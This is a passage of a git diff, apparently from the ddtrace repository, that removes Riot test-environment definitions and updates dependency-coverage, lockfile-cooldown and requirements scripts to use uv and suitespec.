venvs=[ - Venv( - pkgs={ - # Use latest only - protobuf 4.22.0 fails with Python 3.14 - "protobuf": latest, - }, - ), - # Gevent - Venv( - env={ - "DD_PROFILE_TEST_GEVENT": "1", - }, - pkgs={ - "gunicorn[gevent]": latest, - "gevent": latest, - "protobuf": latest, - }, - ), - # uvloop - Venv( - env={ - "USE_UVLOOP": "1", - }, - pkgs={ - "uvloop": latest, - "protobuf": latest, - }, - ), - ], - ), - Venv( - name="profile-memalloc", - command="python -m tests.profiling.run pytest -v --no-cov --capture=no --benchmark-disable {cmdargs} tests/profiling/collector/test_memalloc.py tests/profiling/test_memalloc_fork.py", # noqa: E501 - pys=select_pys(), - env={ - "DD_PROFILING_MEMALLOC_ASSERT_ON_REENTRY": "1", - # standard allocators - "PYTHONMALLOC": [ - "malloc", - "pymalloc", - "malloc_debug", - "pymalloc_debug", - ], - }, - pkgs={ - "protobuf": latest, - }, - ), - ], - ), - Venv( - name="selenium", - pys=["3.10", "3.12"], - pkgs={ - "selenium": "~=4.0", - "webdriver-manager": latest, - }, - command="pytest --no-cov {cmdargs} -c /dev/null tests/contrib/selenium", - env={ - "DD_AGENT_PORT": "9126", - }, - venvs=[ - Venv( - venvs=[ - Venv( - name="selenium-pytest", - ), - ], - ), - ], - ), - # In-process tests (fast): test_iast_flask.py, test_appsec_flask_telemetry.py, and class-based - # tests in test_appsec_flask.py. No subprocess/gunicorn overhead. - Venv( - name="appsec_integrations_flask", - command="pytest -vvv {cmdargs}" - " tests/appsec/integrations/flask_tests/test_iast_flask.py" - " tests/appsec/integrations/flask_tests/test_appsec_flask_telemetry.py", - pkgs={ - "requests": latest, - "psycopg2-binary": "~=2.9.9", - "flask-babel": latest, - "sqlalchemy": latest, - "pytest-randomly": latest, - }, - env={ - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_VULNERABILITIES_PER_REQUEST": "100000", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "flask": "~=1.1", - "MarkupSafe": "~=1.1", - "itsdangerous": "==2.0.1", - "Werkzeug": "==2.0.3", - }, - ), - Venv( - pys=select_pys(), - pkgs={ - "flask": "~=2.2", - }, - ), - Venv( - pys=select_pys(min_version="3.11"), - pkgs={ - "flask": "~=3.1", - "Werkzeug": "~=3.1", - }, - ), - ], - ), - # Subprocess/testagent tests (slow): gunicorn, remoteconfig, patching, entrypoint tests. - # Reduced Flask version matrix since these test IAST/AppSec internals, not Flask-specific behavior. - Venv( - name="appsec_integrations_flask_testagent", - command="pytest -vvv {cmdargs} tests/appsec/integrations/flask_tests/" - " --ignore=tests/appsec/integrations/flask_tests/test_iast_flask.py" - " --ignore=tests/appsec/integrations/flask_tests/test_appsec_flask_telemetry.py", - pkgs={ - "requests": "==2.31.0", - "gunicorn": latest, - "gevent": latest, - "psycopg2-binary": "~=2.9.9", - "flask-babel": latest, - "sqlalchemy": latest, - "pytest-randomly": latest, - # Pinned to the version we previously vendored, to avoid API drift. - "psutil": "==7.1.3", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_VULNERABILITIES_PER_REQUEST": "100000", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - }, - venvs=[ - Venv( - pys="3.12", - pkgs={ - "flask": "~=2.2", - }, - ), - Venv( - pys="3.13", - pkgs={ - "flask": "~=3.1", - "Werkzeug": "~=3.1", - }, - ), - ], - ), - Venv( - name="appsec_integrations_langchain", - command="pytest -vvv {cmdargs} tests/appsec/integrations/langchain_tests/", - pkgs={ - "pytest-asyncio": latest, - "pytest-randomly": latest, - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - }, - venvs=[ - Venv( - pys=["3.9", "3.10", "3.11", "3.12", "3.13"], - pkgs={ - "langchain": "~=0.1", - "langchain-experimental": "~=0.1", - }, - ), - Venv( - pys=["3.9", "3.10", "3.11", "3.12", "3.13"], - pkgs={ - "langchain": "~=0.2", - "langchain-community": "~=0.2", - "langchain-experimental": "~=0.2", - }, - ), - Venv( - pys=["3.9", "3.10", "3.11", "3.12", "3.13"], - pkgs={ - "langchain": "~=0.3", - "langchain-community": "~=0.3", - "langchain-experimental": "~=0.3", - }, - ), - ], - ), - Venv( - name="appsec_threats_django_no_iast", - command="pytest tests/appsec/contrib_appsec/test_django.py::Test_Django {cmdargs}", - pkgs={ - "requests": latest, - "httpx": latest, - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - **_appsec_threats_no_iast_env, - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "django": "~=2.2", - }, - ), - Venv( - pys=["3.9", "3.10"], - pkgs={ - "django": "~=3.2", - }, - ), - Venv( - pys="3.10", - pkgs={ - "django": "==4.0.10", - }, - ), - Venv( - pys=["3.11", "3.13"], - pkgs={ - "django": "~=4.2", - }, - ), - Venv( - pys=["3.10", "3.13"], - pkgs={ - "django": "~=5.1", - }, - ), - Venv( - pys=["3.12", "3.14"], - pkgs={ - "django": "~=6.0", - }, - ), - ], - ), - Venv( - name="appsec_threats_django_iast", - command="pytest tests/appsec/contrib_appsec/test_django.py::Test_Django {cmdargs}", - pkgs={ - "requests": latest, - "httpx": latest, - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - **_appsec_threats_iast_env, - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "django": "~=2.2", - }, - ), - Venv( - pys=["3.9", "3.10"], - pkgs={ - "django": "~=3.2", - }, - ), - Venv( - pys="3.10", - pkgs={ - "django": "==4.0.10", - }, - ), - Venv( - pys=["3.11", "3.13"], - pkgs={ - "django": "~=4.2", - }, - ), - Venv( - pys=["3.10", "3.13"], - pkgs={ - "django": "~=5.1", - }, - ), - Venv( - pys=["3.12", "3.14"], - pkgs={ - "django": "~=6.0", - }, - ), - ], - ), - Venv( - name="appsec_threats_django_rc", - command="pytest tests/appsec/contrib_appsec/test_django.py::Test_Django_RC {cmdargs}", - pkgs={ - "requests": latest, - "httpx": latest, - "django": "~=5.1", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_REMOTE_CONFIGURATION_ENABLED": "true", - "DD_IAST_ENABLED": "false", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - }, - pys=["3.10", "3.13"], - ), - Venv( - name="appsec_threats_flask_no_iast", - command="pytest -vv tests/appsec/contrib_appsec/test_flask.py::Test_Flask {cmdargs}", - pkgs={ - "pytest": latest, - "pytest-cov": latest, - "requests": latest, - "hypothesis": latest, - "httpx": latest, - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - **_appsec_threats_no_iast_env, - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "flask": "~=1.1", - "MarkupSafe": "~=1.1", - }, - ), - Venv( - pys="3.9", - pkgs={ - "flask": "==2.1.3", - "Werkzeug": "<3.0", - }, - ), - Venv( - pys=["3.10", "3.13"], - pkgs={ - "flask": "~=2.3", - }, - ), - Venv( - pys=["3.11", "3.13"], - pkgs={ - "flask": "~=3.0", - }, - ), - ], - ), - Venv( - name="appsec_threats_flask_iast", - command="pytest -vv tests/appsec/contrib_appsec/test_flask.py::Test_Flask {cmdargs}", - pkgs={ - "pytest": latest, - "pytest-cov": latest, - "requests": latest, - "hypothesis": latest, - "httpx": latest, - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - **_appsec_threats_iast_env, - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "flask": "~=1.1", - "MarkupSafe": "~=1.1", - }, - ), - Venv( - pys="3.9", - pkgs={ - "flask": "==2.1.3", - "Werkzeug": "<3.0", - }, - ), - Venv( - pys=["3.10", "3.13"], - pkgs={ - "flask": "~=2.3", - }, - ), - Venv( - pys=["3.11", "3.13"], - pkgs={ - "flask": "~=3.0", - }, - ), - ], - ), - Venv( - name="appsec_threats_flask_rc", - command="pytest -vv tests/appsec/contrib_appsec/test_flask.py::Test_Flask_RC {cmdargs}", - pkgs={ - "pytest": latest, - "pytest-cov": latest, - "requests": latest, - "hypothesis": latest, - "httpx": latest, - "flask": "~=3.0", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_REMOTE_CONFIGURATION_ENABLED": "true", - "DD_IAST_ENABLED": "false", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - }, - pys=["3.11", "3.13"], - ), - Venv( - name="appsec_threats_fastapi_no_iast", - command="pytest tests/appsec/contrib_appsec/test_fastapi.py::Test_FastAPI {cmdargs}", - pkgs={ - "pytest": latest, - "pytest-cov": latest, - "requests": latest, - "hypothesis": latest, - "httpx": "<0.28.0", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - **_appsec_threats_no_iast_env, - }, - venvs=[ - Venv( - pys=["3.10", "3.13"], - pkgs={ - "fastapi": "==0.86.0", - "anyio": "==3.7.1", - }, - ), - Venv( - pys=["3.10", "3.13"], - pkgs={ - "fastapi": "==0.94.1", - }, - ), - Venv( - pys=["3.10", "3.13"], - pkgs={ - "fastapi": "~=0.114.2", - }, - ), - Venv( - pys=["3.10", "3.14"], - pkgs={ - "fastapi": "==0.141.1", - }, - ), - ], - ), - Venv( - name="appsec_threats_fastapi_iast", - command="pytest tests/appsec/contrib_appsec/test_fastapi.py::Test_FastAPI {cmdargs}", - pkgs={ - "pytest": latest, - "pytest-cov": latest, - "requests": latest, - "hypothesis": latest, - "httpx": "<0.28.0", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - **_appsec_threats_iast_env, - }, - venvs=[ - Venv( - pys=["3.10", "3.13"], - pkgs={ - "fastapi": "==0.86.0", - "anyio": "==3.7.1", - }, - ), - Venv( - pys=["3.10", "3.13"], - pkgs={ - "fastapi": "==0.94.1", - }, - ), - Venv( - pys=["3.10", "3.13"], - pkgs={ - "fastapi": "~=0.114.2", - }, - ), - Venv( - pys=["3.10", "3.14"], - pkgs={ - "fastapi": "==0.141.1", - }, - ), - ], - ), - Venv( - name="appsec_threats_fastapi_rc", - command="pytest tests/appsec/contrib_appsec/test_fastapi.py::Test_FastAPI_RC {cmdargs}", - pkgs={ - "pytest": latest, - "pytest-cov": latest, - "requests": latest, - "hypothesis": latest, - "httpx": "<0.28.0", - "fastapi": "~=0.114.2", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_REMOTE_CONFIGURATION_ENABLED": "true", - "DD_IAST_ENABLED": "false", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - }, - pys=["3.10", "3.13"], - ), - Venv( - name="appsec_threats_tornado_no_iast", - command="pytest tests/appsec/contrib_appsec/test_tornado.py::Test_Tornado {cmdargs}", - pkgs={ - "requests": latest, - "httpx": latest, - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - **_appsec_threats_no_iast_env, - }, - venvs=[ - Venv( - pys=["3.9", "3.12"], - pkgs={ - "tornado": "~=6.3", - }, - ), - Venv( - pys=["3.9", "3.12"], - pkgs={ - "tornado": "~=6.4", - }, - ), - Venv( - pys=["3.10", "3.14"], - pkgs={ - "tornado": "~=6.5", - }, - ), - ], - ), - Venv( - name="appsec_threats_tornado_iast", - command="pytest tests/appsec/contrib_appsec/test_tornado.py::Test_Tornado {cmdargs}", - pkgs={ - "requests": latest, - "httpx": latest, - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - **_appsec_threats_iast_env, - }, - venvs=[ - Venv( - pys=["3.9", "3.12"], - pkgs={ - "tornado": "~=6.3", - }, - ), - Venv( - pys=["3.9", "3.12"], - pkgs={ - "tornado": "~=6.4", - }, - ), - Venv( - pys=["3.10", "3.14"], - pkgs={ - "tornado": "~=6.5", - }, - ), - ], - ), - Venv( - name="appsec_threats_tornado_rc", - command="pytest tests/appsec/contrib_appsec/test_tornado.py::Test_Tornado_RC {cmdargs}", - pkgs={ - "requests": latest, - "httpx": latest, - "tornado": "~=6.5", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "DD_REMOTE_CONFIGURATION_ENABLED": "true", - "DD_IAST_ENABLED": "false", - "DD_API_SECURITY_SAMPLE_DELAY": "0", - "DD_PATCH_MODULES": "unittest:false", - }, - pys=["3.10", "3.14"], - ), - Venv( - name="appsec_iast_native", - command="cmake -DCMAKE_BUILD_TYPE=Debug -DPYTHON_EXECUTABLE=python " - "-S ddtrace/appsec/_iast/_taint_tracking -B ddtrace/appsec/_iast/_taint_tracking && " - "make -f ddtrace/appsec/_iast/_taint_tracking/tests/Makefile native_tests && " - "ddtrace/appsec/_iast/_taint_tracking/tests/native_tests", - pys=select_pys(), - pkgs={ - "cmake": latest, - "pybind11": latest, - "clang": latest, - }, - env={ - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_VULNERABILITIES_PER_REQUEST": "100000", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - }, - ), - Venv( - name="ai_guard_api", - command="pytest {cmdargs} tests/aiguard/api/", - pkgs={ - "requests": latest, - }, - pys=select_pys(), - ), - Venv( - name="ai_guard_langchain", - command="pytest {cmdargs} tests/aiguard/langchain/", - pkgs={ - "pytest-asyncio": "==0.23.7", - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "langchain": "==0.1.20", - "langchain-core": "==0.1.53", - "langchain-openai": "==0.1.6", - "openai": "==1.102.0", - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "langchain": "==0.2.17", - "langchain-core": "==0.2.43", - "langchain-openai": "==0.1.7", - "openai": "==1.102.0", - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "langchain": latest, - "langchain-core": latest, - "langchain-openai": latest, - "openai": latest, - }, - ), - ], - ), - Venv( - name="ai_guard_openai", - command="pytest {cmdargs} tests/aiguard/openai/", - pkgs={ - "pytest-asyncio": "==0.23.7", - }, - venvs=[ - # openai <1.6 never produces a TracedStream -- the contrib returns a plain - # (async) generator. This pin exercises the AI Guard streaming-buffer fallback - # for that surface. Capped at <=3.12: the old SDK + its pydantic floor don't - # import cleanly on 3.13+. - Venv( - pys=select_pys(max_version="3.12"), - # httpx <0.28 still accepts the ``proxies`` kwarg that openai 1.3.0 passes - # to ``httpx.Client`` (removed in 0.28). - pkgs={"openai": "==1.3.0", "httpx": "<0.28"}, - ), - # openai 1.102.0 crashes on Python 3.14 parsing its own discriminated-union - # response models: it sets ``__discriminator__`` on a bare ``typing.Union``, - # which 3.14 made immutable (AttributeError). Fixed in later SDKs, so cap this - # pin at <=3.13. See https://github.com/openai/openai-python/issues/2704 - Venv( - pys=select_pys(max_version="3.13"), - pkgs={"openai": "==1.102.0"}, - ), - Venv( - pys=select_pys(), - pkgs={"openai": latest}, - ), - ], - ), - Venv( - name="ai_guard_anthropic", - command="pytest {cmdargs} tests/aiguard/anthropic/", - pys=select_pys(), - pkgs={ - "pytest-asyncio": "==0.23.7", - # AIDEV-NOTE: ``pyyaml`` lets the cassette smoke test parse the - # anthropic contrib VCR fixtures. Pinned to a single version - # because the suite only uses ``yaml.safe_load``. - "pyyaml": latest, - }, - venvs=[ - Venv( - pkgs={"anthropic": "==0.28.0", "httpx": "~=0.27.0"}, - ), - Venv( - pkgs={"anthropic": latest, "httpx": "<0.28.0"}, - ), - ], - ), - Venv( - name="claude_agent_sdk", - command="pytest {cmdargs} tests/contrib/claude_agent_sdk/", - pys=select_pys(min_version="3.10"), - pkgs={ - "claude-agent-sdk": ["==0.0.23", "==0.1.29", "==0.1.49", latest], - "pytest-asyncio": latest, - }, - ), - Venv( - name="ai_guard_strands", - command="pytest {cmdargs} tests/aiguard/strands_hooks/", - pkgs={ - "strands-agents": ">=1.29.0", - }, - pys=select_pys(min_version="3.10"), - ), - Venv( - name="ai_guard_litellm_guardrail", - command="pytest {cmdargs} tests/aiguard/litellm_guardrail/", - pkgs={ - "pytest-asyncio": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.10"), - pkgs={ - "litellm[proxy]": "==1.78.5", - }, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={ - "litellm[proxy]": "==1.82.6", # upgrade to latest when we feel safe about litellm - }, - ), - ], - ), - Venv( - name="sca", - command="pytest {cmdargs} tests/appsec/sca/", - pkgs={"jsonschema": latest}, - pys=select_pys(), - ), ], ) diff --git a/scripts/allow_prerelease_dependencies.py b/scripts/allow_prerelease_dependencies.py index 36b8991dec4..0c829059354 100644 --- a/scripts/allow_prerelease_dependencies.py +++ b/scripts/allow_prerelease_dependencies.py @@ -65,7 +65,7 @@ def update_dependencies_to_allow_prereleases(): """ Updates the pyproject.toml file in-place, adding pre-release markers like "rc0" to the libraries listed in the `dependencies` block. Combined with the `PIP_PRE` - environment variable configuration, this tells pip, and thus riot, to include + environment variable configuration, this tells the test resolver to include pre-release versions of dependencies in its package search. """ updated_specifiers: list[str] = [] diff --git a/scripts/check-dependency-ci-coverage.py b/scripts/check-dependency-ci-coverage.py index 61e42d09738..a48a08ba677 100755 --- a/scripts/check-dependency-ci-coverage.py +++ b/scripts/check-dependency-ci-coverage.py @@ -5,7 +5,7 @@ # dependencies = [ # "packaging>=23.1,<24", # "requests>=2.28,<3", -# "riot>=0.19.0", +# "ruamel.yaml>=0.17.21", # "setuptools<82", # ] # /// @@ -13,7 +13,7 @@ Validate that CI tests cover all major versions declared in pyproject.toml. This script checks that for each dependency in pyproject.toml that is explicitly -tested in CI configuration files (riotfile.py, GitLab CI, GitHub Actions), the test +tested in suitespec or CI configuration files, the test entries cover all major versions within the declared range. For example, if pyproject.toml declares `wrapt>=1,<3` and CI has test entries for @@ -37,7 +37,7 @@ - 'latest' is outside declared bounds (intentional early detection, but should use explicit bounds) Silencing: -- Add '# ci-deps: allow' at the end of a line in riotfile.py or CI files to silence errors/warnings +- Add '# ci-deps: allow' at the end of a line in suitespec or CI files to silence errors/warnings - Silenced items are summarized at the end of the output """ @@ -325,7 +325,7 @@ def analyze_version_spec(spec: str) -> tuple[set[int], bool]: - For 'latest': (empty set, True) - For explicit specs: (set of majors, False) - Note: When pip/riot resolves a specifier, it installs ONE version (typically the latest + Note: When uv resolves a specifier, it installs ONE version (typically the latest satisfying the constraint), not all versions. So: - "<2.0.0" installs the latest 1.x, testing major 1 (not 0 and 1) - ">=1,<3" installs the latest satisfying this (e.g., 2.x if available), testing one major @@ -392,70 +392,33 @@ def analyze_version_spec(spec: str) -> tuple[set[int], bool]: return {max(satisfying_majors)}, False -def extract_riotfile_tested_versions() -> dict[str, DepInfo]: - """ - Extract which major versions are tested for packages in riotfile.py. - - Returns: - Dict mapping package name to DepInfo - """ - # Add project root to path to import riotfile +def extract_suitespec_tested_versions() -> dict[str, DepInfo]: + """Extract tested dependency versions from concrete suitespec environments.""" project_root = Path(__file__).parent.parent.resolve() if str(project_root) not in sys.path: sys.path.insert(0, str(project_root)) - from riot import latest - - import riotfile + from tests.suitespec import get_test_environments tested: dict[str, DepInfo] = {} - - def add_latest_major(pkg: str, info: DepInfo) -> None: - """Resolve 'latest' to actual major version from PyPI and record it.""" - info.has_latest = True - latest_version = get_pypi_latest_version(pkg) - if latest_version: - info.latest_major = latest_version.major - - def process_version_spec(pkg_name: str, version_spec): - """Process a single version spec for a package.""" - loc = Location("riotfile.py", 0) # Line number not available with direct import - - if pkg_name not in tested: - tested[pkg_name] = DepInfo() - - tested[pkg_name].locations.append(loc) - - # Empty string or riot.latest means 'latest' in riot - if not version_spec or version_spec == latest: - add_latest_major(pkg_name, tested[pkg_name]) - else: - majors, is_latest = analyze_version_spec(version_spec) - if is_latest: - add_latest_major(pkg_name, tested[pkg_name]) - else: - tested[pkg_name].majors = tested[pkg_name].majors.union(majors) - - def traverse_venv(venv): - """Recursively traverse the Venv tree and collect package information.""" - # Process packages at this level - if hasattr(venv, "pkgs") and venv.pkgs: - for pkg_name, version_spec in venv.pkgs.items(): - # version_spec can be a string or a list of strings - if isinstance(version_spec, list): - # Process each spec in the list - for spec in version_spec: - process_version_spec(pkg_name, spec) + location = Location("tests/**/suitespec.yml", 0) + for environments in get_test_environments(nightly=False).values(): + for environment in environments: + for dependency in environment.direct_dependencies: + try: + requirement = Requirement(dependency) + except Exception: + continue + package = requirement.name.lower() + info = tested.setdefault(package, DepInfo()) + info.locations.append(location) + majors, is_latest = analyze_version_spec(str(requirement.specifier)) + if is_latest: + info.has_latest = True + if latest_version := get_pypi_latest_version(package): + info.latest_major = latest_version.major else: - process_version_spec(pkg_name, version_spec) - - # Recursively traverse child venvs - if hasattr(venv, "venvs") and venv.venvs: - for child_venv in venv.venvs: - traverse_venv(child_venv) - - # Start traversal from the root venv - traverse_venv(riotfile.venv) + info.majors.update(majors) return tested @@ -706,15 +669,14 @@ def main() -> int: pyproject_data, pyproject_content = load_pyproject() pyproject_deps = extract_pyproject_dependencies(pyproject_data, pyproject_content) - # Load riotfile.py by importing it directly - riotfile_tested = extract_riotfile_tested_versions() + suitespec_tested = extract_suitespec_tested_versions() # Load GitLab and GitHub CI files ci_files = load_all_ci_files() ci_tested_list = [extract_ci_file_tested_versions(content, filename) for filename, content in ci_files] # Merge all CI sources - all_tested = merge_tested_versions(riotfile_tested, *ci_tested_list) + all_tested = merge_tested_versions(suitespec_tested, *ci_tested_list) # Check coverage errors, warnings, silenced = check_coverage(pyproject_deps, all_tested) diff --git a/scripts/check_lockfile_cooldown.py b/scripts/check_lockfile_cooldown.py index f34615c6c38..4c784c4d413 100644 --- a/scripts/check_lockfile_cooldown.py +++ b/scripts/check_lockfile_cooldown.py @@ -1,29 +1,19 @@ #!/usr/bin/env python3 -"""Validate that every pinned version in riot lockfiles is past the cooldown. - -This is the defense-in-depth half of the TEST-CD (APMLP-1362) supply-chain -hardening work. ``scripts/freshvenvs.py`` already prevents the daily -"update riot lockfiles" workflow from *triggering* on a too-fresh direct -package, but once a lockfile recompile runs, riot calls -``python -m piptools compile`` which has no native ``--exclude-newer`` -equivalent and may therefore resolve transitive dependencies to versions -that are younger than the cooldown. - -This script walks one or more lockfiles (``.riot/requirements/*.txt`` by -default), extracts every ``name==version`` pin, queries PyPI for each -version's upload time, and exits non-zero if any pin is younger than -``COOLDOWN_DAYS``. CI is expected to run it after -``scripts/compile-and-prune-test-requirements`` and before creating the -update PR. +"""Validate that pinned releases in test lockfiles are past the cooldown. + +The concrete uv resolver excludes packages uploaded in the last 48 hours. +This checker remains as defense in depth for uv locks and retained legacy +Riot locks. It queries PyPI for each unique +pin and fails when a release is younger than the policy permits. The intent matches the cross-language cooldown standard documented in the supply-chain hardening epic (APMLP-1343). -Usage:: +Usage: python scripts/check_lockfile_cooldown.py [--cooldown-days 2] [PATH ...] -PATH defaults to all ``.riot/requirements/*.txt`` lockfiles in the repo. +PATH defaults to .uv/*.txt and .riot/requirements/*.txt. """ import argparse @@ -39,10 +29,10 @@ import urllib.request -# Keep this in sync with scripts/freshvenvs.py::COOLDOWN_DAYS. +# Keep this in sync with scripts/freshvenvs.py and scripts/test-env. COOLDOWN_DAYS = 2 -# Matches the ``name==version`` form pip-tools emits. Anchored to the +# Matches the name==version form in requirements-style locks. Anchored to the # start of the line, tolerant of trailing inline comments / hash # specifiers / extras (e.g. ``flask[async]==3.0.0 # comment``). PIN_RE = re.compile( @@ -68,6 +58,12 @@ } +def _default_lockfiles() -> list[pathlib.Path]: + uv_locks = pathlib.Path(".uv").glob("*.txt") + riot_locks = pathlib.Path(".riot/requirements").glob("*.txt") + return sorted((*uv_locks, *riot_locks)) + + def _http_get_json(url: str, timeout: float = 30.0) -> Optional[dict]: try: req = urllib.request.Request(url, headers={"Accept": "application/json"}) @@ -178,7 +174,7 @@ def main(argv: Optional[list[str]] = None) -> int: "paths", nargs="*", type=pathlib.Path, - help="Lockfile paths. Defaults to .riot/requirements/*.txt.", + help="Lockfile paths. Defaults to generated uv and Riot test locks.", ) parser.add_argument( "--cooldown-days", @@ -197,7 +193,7 @@ def main(argv: Optional[list[str]] = None) -> int: if args.paths: paths = [p for p in args.paths if p.suffix == ".txt"] else: - paths = sorted(pathlib.Path(".riot/requirements").glob("*.txt")) + paths = _default_lockfiles() if not paths: print("No lockfiles to check.", file=sys.stderr) diff --git a/scripts/compile-and-prune-test-requirements b/scripts/compile-and-prune-test-requirements index af55fd4920e..a588bc57366 100755 --- a/scripts/compile-and-prune-test-requirements +++ b/scripts/compile-and-prune-test-requirements @@ -1,27 +1,5 @@ -#!/bin/bash -set -e +#!/usr/bin/env bash +set -euo pipefail -RIOT_CMD=${1:-riot} - -active_hashes=($($RIOT_CMD list --hash-only)) - -echo "Building requirements lockfiles for riot hashes that don't have them" -for hash in "${active_hashes[@]}" -do - [[ ! -f .riot/requirements/"$hash".txt ]] && $RIOT_CMD -P -v requirements "$hash" -done - -echo "Removing requirements lockfiles for riot hashes that don't exist" -for file in .riot/requirements/*.txt -do - file_hash=$(echo "$file" | tr "/" "\n" | grep '.txt' | sed 's/\.txt//') - if [[ ! " ${active_hashes[*]} " =~ $file_hash ]] - then - rm "$file" - fi -done - -echo "Generating supported versions from requirements lockfiles" +scripts/test-env lock "$@" scripts/integration_registry/generate_supported_versions.py - -echo "All done!" diff --git a/scripts/freshvenvs.py b/scripts/freshvenvs.py old mode 100644 new mode 100755 index b1adbd0efc9..4ae3eb8c45c --- a/scripts/freshvenvs.py +++ b/scripts/freshvenvs.py @@ -1,3 +1,15 @@ +#!/usr/bin/env scripts/uv-run-script +# -*- mode: python -*- +# /// script +# requires-python = ">=3.9" +# dependencies = [ +# "packaging>=23.1,<26", +# "pip>=25,<26", +# "pyyaml>=6,<7", +# "ruamel.yaml>=0.17.21", +# ] +# /// + import argparse from collections import defaultdict import datetime as dt @@ -7,29 +19,29 @@ import json import pathlib import sys -from typing import Any from typing import Optional +from packaging.requirements import Requirement from packaging.version import Version from pip import _internal -# add project root to path to import riotfile, and scripts/ to import integration_registry +# Add project root and integration-registry helpers to the import path. sys.path.append(str(pathlib.Path(__file__).parent.parent.resolve())) sys.path.append(str(pathlib.Path(__file__).parent.resolve() / "integration_registry")) from mappings import DEPENDENCY_TO_INTEGRATION_MAPPING # noqa: I001,E402 from mappings import INTEGRATION_TO_DEPENDENCY_MAPPING # noqa: I001,E402 -import riotfile # noqa: I001,E402 +from tests.suitespec import TestEnvironment # noqa: I001,E402 +from tests.suitespec import get_test_environments # noqa: I001,E402 CONTRIB_ROOT = pathlib.Path("ddtrace/contrib/internal") -LATEST = "" # Supply-chain hardening (TEST-CD, APMLP-1362): when deciding whether the # packages we test against are "outdated" with respect to PyPI, we ignore # any release that was published less than COOLDOWN_DAYS ago. This prevents -# the daily "update riot lockfiles" workflow from pulling in a freshly +# the daily test-lock update workflow from pulling in a freshly # published (and potentially compromised) version before the broader # community / security tooling has had a chance to flag it. # @@ -37,9 +49,6 @@ # the supply-chain hardening epic (APMLP-1343). COOLDOWN_DAYS = 2 -supported_versions = [] -pinned_packages = set() - class Capturing(list): def __enter__(self): @@ -58,7 +67,7 @@ def __exit__(self, *args): def parse_args(): """ - usage: python scripts/freshvenvs.py + usage: scripts/freshvenvs.py """ parser = argparse.ArgumentParser() parser.add_argument("mode", choices=["output"], help="mode: output") @@ -80,78 +89,34 @@ def _get_contrib_modules() -> set[str]: return all_integration_names -def _get_riot_envs_including_any(contrib_modules: set[str]) -> set[str]: - """Return the set of riot env hashes where each env uses at least one of the given modules""" - envs = set() - riot_requirements_dir = pathlib.Path(".riot/requirements") - for item in riot_requirements_dir.iterdir(): - if item.suffix == ".txt": - lockfile_content = item.read_text() - for contrib_module in contrib_modules: - if contrib_module in lockfile_content or ( - _integration_to_dependency_mapping_contains(contrib_module, lockfile_content) - ): - envs.add(item.stem) - break - return envs - - -def _integration_to_dependency_mapping_contains(integration: str, lockfile_content: str) -> bool: - if integration not in 